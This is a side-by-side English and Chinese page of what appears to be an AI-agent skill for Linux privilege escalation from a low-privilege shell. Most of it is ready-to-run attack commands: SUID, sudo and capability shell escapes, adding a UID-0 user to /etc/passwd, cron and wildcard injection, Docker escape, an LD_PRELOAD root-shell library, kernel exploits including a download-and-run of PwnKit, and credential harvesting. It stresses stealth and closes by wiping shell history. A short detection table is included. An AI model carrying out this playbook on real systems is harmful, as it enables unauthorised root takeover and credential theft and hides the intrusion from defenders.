offensive-linux-privesc

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Linux Privilege Escalation

Linux 提权

You have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.
Every engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.
你已在一个 Linux 目标上获得低权限 shell。你的目标是通过系统化枚举和利用错误配置、易受攻击软件及 kernel flaws,将权限提升至 root。本 skill 提供一套结构化方法论,涵盖从被动侦察到逐步增强的攻击技术,并优先考虑可靠性和隐蔽性。
每次项目都从态势感知开始。了解当前拥有的访问能力、系统暴露的攻击面,以及防御方能够观察到的活动。将低严重性发现串联成高影响的提权路径。

Quick Workflow

快速工作流

  1. Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.
  2. Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.
  3. Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.
  4. Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.
  5. Check for NFS shares with no_root_squash and Docker group membership.
  6. Fingerprint the kernel version and search for applicable kernel exploits as a last resort.
  7. Validate the escalation path, document the chain, and clean up artifacts.

  1. 运行自动化枚举(LinPEAS、linux-exploit-suggester),发现快速见效的路径。
  2. 首先检查 sudo 权限、SUID/SGID 二进制文件和 capabilities——这些是概率最高的攻击向量。
  3. 枚举 cron 任务、可写脚本和 PATH 顺序,寻找劫持机会。
  4. 检查 /etc/passwd、/etc/shadow、服务配置和 SSH 密钥的文件权限。
  5. 检查是否存在配置了 no_root_squash 的 NFS 共享,以及当前用户是否属于 Docker group。
  6. 识别 kernel 版本,并搜索适用的 kernel exploit 作为最后手段。
  7. 验证提权路径,记录完整利用链并清理痕迹。

Automated Enumeration

自动化枚举

Before manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.
bash
undefined
在手动检查前,运行自动化工具尽可能全面地发现问题。将输出写入文件,以便离线审查和交叉比对。
bash
undefined

LinPEAS -- transfer and execute

LinPEAS -- transfer and execute

Minimal execution to reduce noise on monitored systems

Minimal execution to reduce noise on monitored systems

./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out

Kernel exploit suggestion

Kernel exploit suggestion

./linux-exploit-suggester.sh --uname "$(uname -r)"
./linux-exploit-suggester.sh --uname "$(uname -r)"

pspy -- monitor processes without root (watches procfs)

pspy -- monitor processes without root (watches procfs)

./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out

Review LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.

---
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out

逐节检查 LinPEAS 输出,重点关注红色和黄色高亮项。立即将 SUID 发现结果与 GTFOBins 交叉比对。

---

SUID/SGID Binary Abuse

SUID/SGID 二进制文件滥用

SUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.
SUID 二进制文件以文件所有者的权限执行。当所有者为 root 时,如果它们允许任意命令执行、文件读取或文件写入,就会成为直接的提权向量。

Enumeration

枚举

bash
undefined
bash
undefined

Find all SUID/SGID binaries

Find all SUID/SGID binaries

find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null find / -perm -u=s -type f -exec ls -la {} ; 2>/dev/null
undefined
find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null find / -perm -u=s -type f -exec ls -la {} ; 2>/dev/null
undefined

Exploitation via GTFOBins

通过 GTFOBins 利用

bash
undefined
bash
undefined

If find is SUID

If find is SUID

find . -exec /bin/sh -p ;
find . -exec /bin/sh -p ;

If vim is SUID

If vim is SUID

vim -c ':!/bin/sh'
vim -c ':!/bin/sh'

If python3 is SUID

If python3 is SUID

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

If cp is SUID -- overwrite /etc/passwd

If cp is SUID -- overwrite /etc/passwd

cp /etc/passwd /dev/shm/passwd.bak echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified cp /dev/shm/passwd_modified /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified cp /dev/shm/passwd_modified /etc/passwd

If bash is SUID

If bash is SUID

bash -p
bash -p

If nmap (old interactive mode) is SUID

If nmap (old interactive mode) is SUID

nmap --interactive !sh
undefined
nmap --interactive !sh
undefined

Custom SUID Binary Analysis

自定义 SUID 二进制文件分析

bash
undefined
bash
undefined

Check what libraries a SUID binary loads

Check what libraries a SUID binary loads

ldd /usr/local/bin/custom_suid strace /usr/local/bin/custom_suid 2>&1 | grep -i open
ldd /usr/local/bin/custom_suid strace /usr/local/bin/custom_suid 2>&1 | grep -i open

Check for relative path calls in the binary

Check for relative path calls in the binary

strings /usr/local/bin/custom_suid | grep -E '^[a-z]' ltrace /usr/local/bin/custom_suid 2>&1

If a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.

---
strings /usr/local/bin/custom_suid | grep -E '^[a-z]' ltrace /usr/local/bin/custom_suid 2>&1

如果 SUID 二进制文件调用另一个程序时未使用绝对路径,可以通过在 PATH 前置恶意目录来劫持该程序。

---

Linux Capabilities Exploitation

Linux Capabilities 利用

Capabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.
bash
undefined
Capabilities 将 root 权限拆分为一组离散单元。带有 cap_setuid 的二进制文件无需设置 SUID 即可将 UID 改为 0。
bash
undefined

Find binaries with capabilities set

Find binaries with capabilities set

getcap -r / 2>/dev/null
undefined
getcap -r / 2>/dev/null
undefined

Exploitation

利用

bash
undefined
bash
undefined

cap_setuid on python3

cap_setuid on python3

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

cap_setuid on perl

cap_setuid on perl

perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

cap_dac_override on vim (read/write any file)

cap_dac_override on vim (read/write any file)

vim /etc/shadow
vim /etc/shadow

cap_dac_read_search on tar (read any file)

cap_dac_read_search on tar (read any file)

tar czf /dev/shm/shadow.tar.gz /etc/shadow tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/

Capabilities are frequently overlooked by administrators. They appear in LinPEAS output but deserve dedicated enumeration.

---
tar czf /dev/shm/shadow.tar.gz /etc/shadow tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/

Capabilities 经常被管理员忽略。它们会出现在 LinPEAS 输出中,但值得进行专项枚举。

---

Sudo Misconfigurations

sudo 错误配置

Sudo rules are the most common privilege escalation vector in real engagements. Check
sudo -l
immediately upon gaining a shell.
bash
undefined
sudo 规则是实际项目中最常见的提权向量。获得 shell 后应立即检查
sudo -l
。
bash
undefined

List sudo permissions for current user

List sudo permissions for current user

sudo -l sudo --version cat /etc/sudoers 2>/dev/null
undefined
sudo -l sudo --version cat /etc/sudoers 2>/dev/null
undefined

NOPASSWD Exploitation

NOPASSWD 利用

bash
undefined
bash
undefined

If sudo allows vi/vim NOPASSWD

If sudo allows vi/vim NOPASSWD

sudo vim -c '!bash'
sudo vim -c '!bash'

If sudo allows less NOPASSWD

If sudo allows less NOPASSWD

sudo less /etc/shadow !/bin/bash
sudo less /etc/shadow !/bin/bash

If sudo allows awk NOPASSWD

If sudo allows awk NOPASSWD

sudo awk 'BEGIN {system("/bin/bash")}'
sudo awk 'BEGIN {system("/bin/bash")}'

If sudo allows find NOPASSWD

If sudo allows find NOPASSWD

sudo find /tmp -exec /bin/bash ;
sudo find /tmp -exec /bin/bash ;

If sudo allows env NOPASSWD (LD_PRELOAD)

If sudo allows env NOPASSWD (LD_PRELOAD)

See LD_PRELOAD section below

See LD_PRELOAD section below

If sudo allows a script you can write to

If sudo allows a script you can write to

echo '/bin/bash' > /path/to/writable_script.sh sudo /path/to/writable_script.sh
echo '/bin/bash' > /path/to/writable_script.sh sudo /path/to/writable_script.sh

If sudo allows running as another user

If sudo allows running as another user

sudo -u targetuser /bin/bash
undefined
sudo -u targetuser /bin/bash
undefined

Baron Samedit -- CVE-2021-3156

Baron Samedit -- CVE-2021-3156

bash
undefined
bash
undefined

Check if vulnerable (sudo 1.8.2 through 1.8.31p2, 1.9.0 through 1.9.5p1)

Check if vulnerable (sudo 1.8.2 through 1.8.31p2, 1.9.0 through 1.9.5p1)

sudoedit -s '' $(python3 -c 'print("A"*1000)')
sudoedit -s '' $(python3 -c 'print("A"*1000)')

If it crashes/segfaults, it is likely vulnerable

If it crashes/segfaults, it is likely vulnerable

Exploit (multiple public PoCs available)

Exploit (multiple public PoCs available)

git clone https://github.com/blasty/CVE-2021-3156.git cd CVE-2021-3156 make ./sudo-hax-me-a-sandwich <target_number>
git clone https://github.com/blasty/CVE-2021-3156.git cd CVE-2021-3156 make ./sudo-hax-me-a-sandwich <target_number>

Check target OS for correct offset

Check target OS for correct offset

cat /etc/os-release

This heap-based buffer overflow in sudoedit affects a wide range of Linux distributions. It provides direct root access without needing any sudo permissions.

---
cat /etc/os-release

这个影响广泛 Linux distributions 的 sudoedit 堆缓冲区溢出漏洞,无需任何 sudo 权限即可直接获得 root 访问。

---

Cron Job Abuse

cron 任务滥用

Cron jobs run on schedules with the privileges of the cron owner. Writable scripts, PATH misconfigurations, and wildcard expansion create escalation paths.
cron 任务按计划以 cron 所有者的权限运行。可写脚本、PATH 错误配置和通配符展开可形成提权路径。

Enumeration

枚举

bash
undefined
bash
undefined

System crontabs

System crontabs

cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/

User crontabs

User crontabs

crontab -l ls -la /var/spool/cron/crontabs/ 2>/dev/null
crontab -l ls -la /var/spool/cron/crontabs/ 2>/dev/null

Use pspy to discover hidden cron jobs

Use pspy to discover hidden cron jobs

./pspy64 -pf -i 1000
./pspy64 -pf -i 1000

Check for writable scripts called by cron

Check for writable scripts called by cron

for f in $(grep -r '/' /etc/crontab /etc/cron.d/ 2>/dev/null | grep -oP '/\S+'); do ls -la "$f" 2>/dev/null done
undefined
for f in $(grep -r '/' /etc/crontab /etc/cron.d/ 2>/dev/null | grep -oP '/\S+'); do ls -la "$f" 2>/dev/null done
undefined

Writable Cron Script

可写 cron 脚本

bash
undefined
bash
undefined

If a root cron job calls a writable script

If a root cron job calls a writable script

echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /path/to/writable_cron_script.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /path/to/writable_cron_script.sh

Wait for cron execution, then

Wait for cron execution, then

/tmp/rootbash -p
undefined
/tmp/rootbash -p
undefined

PATH Hijacking in Cron

cron 中的 PATH 劫持

bash
undefined
bash
undefined

If crontab has PATH=/home/user/bin:/usr/local/sbin:...

If crontab has PATH=/home/user/bin:/usr/local/sbin:...

And a cron job calls "backup.sh" without full path

And a cron job calls "backup.sh" without full path

echo '#!/bin/bash' > /home/user/bin/backup.sh echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/bin/backup.sh chmod +x /home/user/bin/backup.sh
undefined
echo '#!/bin/bash' > /home/user/bin/backup.sh echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/bin/backup.sh chmod +x /home/user/bin/backup.sh
undefined

Wildcard Injection

Wildcard Injection

bash
undefined
bash
undefined

If a root cron job runs: tar czf /backup/archive.tar.gz *

If a root cron job runs: tar czf /backup/archive.tar.gz *

In the target directory, create files that become tar flags

In the target directory, create files that become tar flags

cd /target/directory echo '' > '--checkpoint=1' echo '' > '--checkpoint-action=exec=sh privesc.sh' echo '#!/bin/bash' > privesc.sh echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> privesc.sh chmod +x privesc.sh
cd /target/directory echo '' > '--checkpoint=1' echo '' > '--checkpoint-action=exec=sh privesc.sh' echo '#!/bin/bash' > privesc.sh echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> privesc.sh chmod +x privesc.sh

Similar attack with rsync wildcard

Similar attack with rsync wildcard

echo '' > '-e sh privesc.sh'
echo '' > '-e sh privesc.sh'

Similar attack with chown (e.g., chown user:user *)

Similar attack with chown (e.g., chown user:user *)

echo '' > '--reference=/path/to/attacker_owned_file'

---
echo '' > '--reference=/path/to/attacker_owned_file'

---

Writable /etc/passwd

可写 /etc/passwd

If /etc/passwd is world-writable (a severe misconfiguration), you can add a root-equivalent user directly.
bash
undefined
如果 /etc/passwd 可被全局写入(严重错误配置),可以直接添加一个等同于 root 的用户。
bash
undefined

Check permissions

Check permissions

ls -la /etc/passwd
ls -la /etc/passwd

Generate password hash

Generate password hash

openssl passwd -1 -salt hacker password123
openssl passwd -1 -salt hacker password123

Output: $1$hacker$6luIRwdGpBvXdP.GMwcZp/

Output: $1$hacker$6luIRwdGpBvXdP.GMwcZp/

Append a new root user

Append a new root user

echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd

Or replace root's password hash (more detectable)

Or replace root's password hash (more detectable)

Switch to the new user

Switch to the new user

su hacker
su hacker

Password: password123

Password: password123

Alternative: use mkpasswd if available

Alternative: use mkpasswd if available

mkpasswd -m sha-512 password123

---
mkpasswd -m sha-512 password123

---

NFS no_root_squash Exploitation

NFS no_root_squash 利用

When an NFS export is configured with
no_root_squash
, the remote root user retains root privileges on the share. This allows creating SUID binaries from an attacker-controlled machine.
bash
undefined
当 NFS export 配置了
no_root_squash
时,远程 root 用户会在共享目录中保留 root 权限。这允许在攻击者控制的机器上创建 SUID 二进制文件。
bash
undefined

On the target -- enumerate NFS shares

On the target -- enumerate NFS shares

cat /etc/exports showmount -e localhost
cat /etc/exports showmount -e localhost

Look for no_root_squash

Look for no_root_squash

grep -i "no_root_squash" /etc/exports
grep -i "no_root_squash" /etc/exports

On your attack machine (as root)

On your attack machine (as root)

mkdir /tmp/nfs_mount mount -t nfs target_ip:/shared_directory /tmp/nfs_mount
mkdir /tmp/nfs_mount mount -t nfs target_ip:/shared_directory /tmp/nfs_mount

Create a SUID shell

Create a SUID shell

cp /bin/bash /tmp/nfs_mount/rootbash chmod +s /tmp/nfs_mount/rootbash
cp /bin/bash /tmp/nfs_mount/rootbash chmod +s /tmp/nfs_mount/rootbash

On the target

On the target

/shared_directory/rootbash -p

---
/shared_directory/rootbash -p

---

Kernel Exploits

kernel exploits

Kernel exploits are high-impact but carry stability risks. Use them when cleaner vectors are unavailable. Always check the kernel version and distribution first.
kernel exploits 的影响巨大,但存在稳定性风险。仅在没有更干净的提权向量时使用。始终应先检查 kernel 版本和发行版。

Fingerprinting

版本指纹识别

bash
uname -a
uname -r
cat /etc/os-release
cat /proc/version
bash
uname -a
uname -r
cat /etc/os-release
cat /proc/version

DirtyPipe -- CVE-2022-0847

DirtyPipe -- CVE-2022-0847

bash
undefined
bash
undefined

Affects Linux kernel 5.8 through 5.16.10, 5.15.25, 5.10.102

Affects Linux kernel 5.8 through 5.16.10, 5.15.25, 5.10.102

Overwrites read-only files by splicing into page cache

Overwrites read-only files by splicing into page cache

Compile the exploit

Compile the exploit

gcc -o dirtypipe exploit.c ./dirtypipe /etc/passwd 1 "${replacement_line}"
gcc -o dirtypipe exploit.c ./dirtypipe /etc/passwd 1 "${replacement_line}"

Or use the SUID variant

Or use the SUID variant

gcc -o dirtypipez dirtypipez.c ./dirtypipez
gcc -o dirtypipez dirtypipez.c ./dirtypipez

Spawns a root shell by overwriting a SUID binary temporarily

Spawns a root shell by overwriting a SUID binary temporarily

undefined
undefined

DirtyCow -- CVE-2016-5195

DirtyCow -- CVE-2016-5195

bash
undefined
bash
undefined

Affects Linux kernel 2.x through 4.x before 4.8.3

Affects Linux kernel 2.x through 4.x before 4.8.3

Race condition in copy-on-write mechanism

Race condition in copy-on-write mechanism

The /etc/passwd overwrite variant

The /etc/passwd overwrite variant

gcc -pthread dirty.c -o dirty -lcrypt ./dirty password123
gcc -pthread dirty.c -o dirty -lcrypt ./dirty password123

Overwrites root entry in /etc/passwd

Overwrites root entry in /etc/passwd

The SUID binary variant (firefart)

The SUID binary variant (firefart)

gcc -pthread cowroot.c -o cowroot ./cowroot
undefined
gcc -pthread cowroot.c -o cowroot ./cowroot
undefined

PwnKit -- CVE-2021-4034

PwnKit -- CVE-2021-4034

bash
undefined
bash
undefined

Affects polkit pkexec (virtually all Linux distros with polkit installed)

Affects polkit pkexec (virtually all Linux distros with polkit installed)

Memory corruption via crafted environment variables

Memory corruption via crafted environment variables

Compile and run

Compile and run

gcc -shared -fPIC -o pwnkit.so pwnkit.c gcc -o pwnkit exploit.c ./pwnkit
gcc -shared -fPIC -o pwnkit.so pwnkit.c gcc -o pwnkit exploit.c ./pwnkit

One-liner PoC (if available)

One-liner PoC (if available)

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x PwnKit ./PwnKit

Kernel exploits may crash the system. On production targets, confirm the exact kernel version, test in a lab environment first, and have a rollback plan. Prefer the DirtyPipe SUID variant or PwnKit for stability.

---
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x PwnKit ./PwnKit

kernel exploits 可能会导致系统崩溃。在生产目标上,应先确认精确的 kernel 版本,在实验环境中先行测试,并准备回滚方案。优先使用稳定性更好的 DirtyPipe SUID 变体或 PwnKit。

---

Docker Group Escape

Docker group 逃逸

Membership in the
docker
group grants effective root access. Docker allows mounting the host filesystem into a container.
bash
undefined
成为
docker
group 成员可提供等效的 root 访问。Docker 允许将宿主文件系统挂载到 container 中。
bash
undefined

Confirm group membership

Confirm group membership

id groups
id groups

Mount the host root filesystem

Mount the host root filesystem

docker run -v /:/hostfs -it ubuntu /bin/bash
docker run -v /:/hostfs -it ubuntu /bin/bash

Inside the container, access host filesystem

Inside the container, access host filesystem

cat /hostfs/etc/shadow chroot /hostfs /bin/bash
cat /hostfs/etc/shadow chroot /hostfs /bin/bash

Create a SUID bash on the host

Create a SUID bash on the host

cp /hostfs/bin/bash /hostfs/tmp/rootbash chmod +s /hostfs/tmp/rootbash
cp /hostfs/bin/bash /hostfs/tmp/rootbash chmod +s /hostfs/tmp/rootbash

Alternative: use docker socket directly

Alternative: use docker socket directly

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

LXD/LXC group membership provides a similar attack surface. Build a privileged container and mount the host filesystem.

---
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

LXD/LXC group 成员身份也提供类似的攻击面。可以构建 privileged container 并挂载宿主文件系统。

---

LD_PRELOAD and LD_LIBRARY_PATH Hijacking

LD_PRELOAD 与 LD_LIBRARY_PATH 劫持

When sudo preserves
env_keep += LD_PRELOAD
or
env_keep += LD_LIBRARY_PATH
, you can inject a shared library that executes arbitrary code as root.
当 sudo 保留
env_keep += LD_PRELOAD
或
env_keep += LD_LIBRARY_PATH
时,可以注入一个以 root 权限执行任意代码的共享库。

LD_PRELOAD

LD_PRELOAD

c
// preload.c -- compile and load via sudo
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}
bash
undefined
c
// preload.c -- compile and load via sudo
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}
bash
undefined

Compile

Compile

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

Execute with sudo (requires env_keep += LD_PRELOAD in sudoers)

Execute with sudo (requires env_keep += LD_PRELOAD in sudoers)

sudo LD_PRELOAD=/tmp/preload.so /usr/bin/any_allowed_command
undefined
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/any_allowed_command
undefined

LD_LIBRARY_PATH

LD_LIBRARY_PATH

bash
undefined
bash
undefined

Find shared libraries used by a sudo-allowed binary

Find shared libraries used by a sudo-allowed binary

ldd /usr/sbin/apache2
ldd /usr/sbin/apache2

Create a malicious replacement

Create a malicious replacement

Target a library like libcrypt.so.1

Target a library like libcrypt.so.1

gcc -fPIC -shared -o /tmp/libcrypt.so.1 preload.c
gcc -fPIC -shared -o /tmp/libcrypt.so.1 preload.c

Execute with sudo

Execute with sudo

sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2

You can also hijack shared libraries loaded by SUID binaries. Use `strace` to find missing library loads from writable directories, then place your malicious `.so` there.

---
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2

你还可以劫持 SUID 二进制文件加载的共享库。使用 `strace` 找出从可写目录加载的缺失库,再将恶意 `.so` 放入相应位置。

---

Service Misconfigurations

服务错误配置

Writable service files or binaries referenced by services running as root create escalation opportunities.
bash
undefined
可写服务文件,或 root 运行服务所引用的可写二进制文件,会形成提权机会。
bash
undefined

Find writable service files

Find writable service files

find /etc/systemd/system/ /lib/systemd/system/ /etc/init.d/ -writable -type f 2>/dev/null
find /etc/systemd/system/ /lib/systemd/system/ /etc/init.d/ -writable -type f 2>/dev/null

Overwrite a writable service binary

Overwrite a writable service binary

cp /path/to/service_binary /path/to/service_binary.bak echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n/path/to/service_binary.bak "$@"' > /path/to/service_binary chmod +x /path/to/service_binary
cp /path/to/service_binary /path/to/service_binary.bak echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n/path/to/service_binary.bak "$@"' > /path/to/service_binary chmod +x /path/to/service_binary

Create a malicious systemd service (if you can write to the service directory)

Create a malicious systemd service (if you can write to the service directory)

cat << 'EOF' > /etc/systemd/system/escalate.service [Unit] Description=Escalation [Service] Type=oneshot ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' [Install] WantedBy=multi-user.target EOF systemctl daemon-reload && systemctl start escalate.service

---
cat << 'EOF' > /etc/systemd/system/escalate.service [Unit] Description=Escalation [Service] Type=oneshot ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' [Install] WantedBy=multi-user.target EOF systemctl daemon-reload && systemctl start escalate.service

---

Sensitive File Enumeration

敏感文件枚举

Credential harvesting from files can provide lateral movement or direct escalation paths.
bash
undefined
从文件中收集凭据可提供横向移动或直接提权路径。
bash
undefined

SSH keys

SSH keys

find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null find / -name "authorized_keys" 2>/dev/null
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null find / -name "authorized_keys" 2>/dev/null

History files

History files

cat ~/.bash_history find / -name ".*history" -exec cat {} ; 2>/dev/null
cat ~/.bash_history find / -name ".*history" -exec cat {} ; 2>/dev/null

Configuration files with credentials

Configuration files with credentials

grep -rl "pass|pwd|token|secret|key" /etc/ /opt/ /var/www/ /home/ 2>/dev/null cat /var/www//wp-config.php /var/www//.env 2>/dev/null
grep -rl "pass|pwd|token|secret|key" /etc/ /opt/ /var/www/ /home/ 2>/dev/null cat /var/www//wp-config.php /var/www//.env 2>/dev/null

Backup files and shadow

Backup files and shadow

find / -name ".bak" -o -name ".old" -o -name "*.backup" 2>/dev/null cat /etc/shadow 2>/dev/null ls -la /etc/shadow

---
find / -name ".bak" -o -name ".old" -o -name "*.backup" 2>/dev/null cat /etc/shadow 2>/dev/null ls -la /etc/shadow

---

Detection / Defender View

检测 / 防御方视角

Every technique above leaves traces. Understanding detection surfaces helps you operate more carefully and helps blue teams build monitoring.
TechniqueDetection Indicator
LinPEAS/enumerationProcess execution of curl piped to sh, large bursts of file access in /proc, /etc, /sys
SUID abuseExecution of SUID binaries from unusual parent processes, shell spawning from SUID context
Capabilities abuseUnexpected setuid(0) calls from non-SUID processes, audit logs for CAP_SETUID usage
Sudo exploitationAuth logs showing sudo usage for unusual commands, sudoers file modification timestamps
CVE-2021-3156sudoedit crash logs, coredumps, heap corruption signatures in audit logs
Cron hijackingModified cron scripts (integrity monitoring), new files with tar flag names
/etc/passwd writesFile integrity monitoring alerts, new UID 0 entries, inotify watches
NFS SUID creationNew SUID files appearing on NFS mounts, NFS audit logs on the server
Kernel exploitsKernel oops/panic messages, unexpected root process spawning, crash dumps
Docker escapeDocker API calls, container creation with host mounts, docker.sock access
LD_PRELOADEnvironment variable logging, unexpected shared library loads in audit logs
Key log locations:
bash
undefined
上述每项技术都会留下痕迹。理解检测面有助于更谨慎地操作,也有助于蓝队建立监控。
技术检测指标
LinPEAS/枚举将 curl 管道输入 sh 的进程执行,以及在 /proc、/etc、/sys 中密集访问文件
SUID 滥用由异常父进程执行 SUID 二进制文件,在 SUID 上下文中派生 shell
Capabilities 滥用非 SUID 进程意外调用 setuid(0),以及 audit 日志中 CAP_SETUID 的使用记录
sudo 利用认证日志显示以异常命令使用 sudo,以及 sudoers 文件修改时间戳
CVE-2021-3156sudoedit 崩溃日志、coredump,以及 audit 日志中的堆破坏特征
cron 劫持被修改的 cron 脚本(完整性监控),以及以 tar 标志命名的新文件
/etc/passwd 写入文件完整性监控告警、新增 UID 0 条目、inotify 监控
NFS SUID 创建NFS 挂载点出现新的 SUID 文件,以及服务器上的 NFS 审计日志
kernel exploitskernel oops/panic 消息、异常 root 进程派生、崩溃转储
Docker 逃逸Docker API 调用、创建带宿主挂载的 container、对 docker.sock 的访问
LD_PRELOAD环境变量日志记录、audit 日志中异常加载共享库
关键日志位置:
bash
undefined

Defenders should monitor

Defenders should monitor

/var/log/auth.log # sudo usage, su attempts, authentication events /var/log/syslog # system events, cron execution /var/log/kern.log # kernel exploits, crashes /var/log/audit/audit.log # auditd events (execve, capability use, file access) journalctl -u <service> # per-service systemd logs

---
/var/log/auth.log # sudo usage, su attempts, authentication events /var/log/syslog # system events, cron execution /var/log/kern.log # kernel exploits, crashes /var/log/audit/audit.log # auditd events (execve, capability use, file access) journalctl -u <service> # per-service systemd logs

---

Engagement Cheatsheet

项目速查表

text
PHASE 1 -- ENUMERATE
  sudo -l                                    # First command. Always.
  id && groups                               # Docker/lxd group?
  find / -perm -4000 -type f 2>/dev/null     # SUID binaries
  getcap -r / 2>/dev/null                    # Capabilities
  cat /etc/crontab && ls -la /etc/cron.*     # Cron jobs
  ls -la /etc/passwd /etc/shadow             # File permissions
  cat /etc/exports 2>/dev/null               # NFS shares
  uname -a && cat /etc/os-release            # Kernel version

PHASE 2 -- QUICK WINS
  GTFOBins lookup for SUID/sudo binaries     # https://gtfobins.github.io
  sudo vim -c '!bash'                        # Sudo escape
  python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'  # cap_setuid
  bash -p                                    # SUID bash

PHASE 3 -- ESCALATION
  Writable cron script injection
  PATH hijack in cron or SUID binary
  LD_PRELOAD via sudo env_keep
  Docker mount host filesystem
  /etc/passwd append (if writable)

PHASE 4 -- KERNEL (last resort)
  linux-exploit-suggester.sh
  DirtyPipe  -> kernel 5.8-5.16
  PwnKit     -> polkit pkexec (most distros)
  DirtyCow   -> kernel 2.x-4.x
  Baron Samedit -> sudo 1.8.2-1.9.5p1

CLEANUP
  Remove SUID shells from /tmp
  Restore modified files from backups
  Clear command history: history -c && unset HISTFILE
  Remove uploaded tools from /dev/shm, /tmp

text
PHASE 1 -- ENUMERATE
  sudo -l                                    # First command. Always.
  id && groups                               # Docker/lxd group?
  find / -perm -4000 -type f 2>/dev/null     # SUID binaries
  getcap -r / 2>/dev/null                    # Capabilities
  cat /etc/crontab && ls -la /etc/cron.*     # Cron jobs
  ls -la /etc/passwd /etc/shadow             # File permissions
  cat /etc/exports 2>/dev/null               # NFS shares
  uname -a && cat /etc/os-release            # Kernel version

PHASE 2 -- QUICK WINS
  GTFOBins lookup for SUID/sudo binaries     # https://gtfobins.github.io
  sudo vim -c '!bash'                        # Sudo escape
  python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'  # cap_setuid
  bash -p                                    # SUID bash

PHASE 3 -- ESCALATION
  Writable cron script injection
  PATH hijack in cron or SUID binary
  LD_PRELOAD via sudo env_keep
  Docker mount host filesystem
  /etc/passwd append (if writable)

PHASE 4 -- KERNEL (last resort)
  linux-exploit-suggester.sh
  DirtyPipe  -> kernel 5.8-5.16
  PwnKit     -> polkit pkexec (most distros)
  DirtyCow   -> kernel 2.x-4.x
  Baron Samedit -> sudo 1.8.2-1.9.5p1

CLEANUP
  Remove SUID shells from /tmp
  Restore modified files from backups
  Clear command history: history -c && unset HISTFILE
  Remove uploaded tools from /dev/shm, /tmp

Key References

关键参考